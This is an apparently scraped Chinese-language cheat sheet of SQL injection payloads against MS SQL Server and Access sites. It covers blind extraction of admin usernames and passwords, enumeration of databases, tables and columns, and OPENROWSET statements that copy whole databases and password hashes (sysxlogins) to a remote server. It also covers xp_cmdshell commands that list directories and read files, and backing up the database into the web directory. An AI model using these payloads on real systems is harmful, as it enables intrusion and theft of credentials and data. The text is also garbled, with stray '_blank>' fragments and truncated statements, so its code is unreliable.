1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到00)--
and 1=(select
count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from
admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where
len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and
1=(select count(*) from admin where len(name)=6) 正确
and 1=(select
count(*) from admin where len(password)>11) 正确
and 1=(select count(*)
from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from
admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from
admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin
where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

爆库
特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交
and 0(select top 1 paths from

得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from
master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9....
得到更多的_blank>数据库名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 (select top
1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and
name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and
0(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_blank>_id
and 0(select top 1 name from
bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0_id from BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where
name>1 and dbid=6)
and 0 (select top 1 name from
bbs.dbo.sysobjects where xtype=U) 得到表名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U and name not in(Address))
and
0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 判断id值
and 0(select top 1 name from
BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select
1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union，access也好用)

枚举出数据表名
;update aaa set aaa=(select top 1

这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name刚才得到的表名）。
;update aaa set
aaa=(select top 1 name from sysobjects where xtype=u and status>0 and
namevote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1
col_blank>_name (object_blank>_id(表名),1));--
然后id=152 and
exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select
top 1 col_blank>_name(object_blank>_id(表名),2));--
然后id=152 and
exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1
name from sysobjects where xtype=u and status>0 [ and name你得到的表名
查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and

1、 开启远程_blank>数据库
基本语法
select * from
OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from
OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,
select * from table
3.复制目标主机的整个_blank>数据库
insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB,
server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from table1) select * from table2
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=
123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert
into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from
user_blank> _database.dbo.sysobjects
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from
user_blank> _database.dbo.syscolumns
复制_blank>数据库：
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=
123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select *
from database..table1
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table2) select * from database..table2
复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下：
insert into
OPENROWSET (SQLOLEDB,
uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
;create table temp(id
nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;--
获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec
master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert
into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into
temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert
into temp(id) exec master.dbo.xp_blank> _cmdshell cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1)
exec master.dbo.xp_blank>_dirtree c:\;-- （xp_blank>_dirtree适用权限PUBLIC）
写入表：
语句1：and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
语句3：and
1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4：and 1=(SELECT
IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5：and 1=(SELECT
IS_blank>_SRVROLEMEMBER (securityadmin));--
语句6：and 1=(SELECT
IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7：and 1= (SELECT
IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8：and 1=(SELECT
IS_blank>_SRVROLEMEMBER (bulkadmin));--
语句9：and 1=(SELECT
IS_blank>_MEMBER(db_blank>_owner));--
把路径写到表中去：
;create table
dirs(paths varchar(100), id int)--
;insert dirs exec
master.dbo.xp_blank>_dirtree c:\--
and 0(select top 1 paths from
dirs)--
and 0 (select top 1 paths from dirs where paths not
in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and
0(select top 1 paths from dirs1)--
把_blank>数据库备份到网页目录：下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to

and 1=(Select top 1 name from(Select top 12
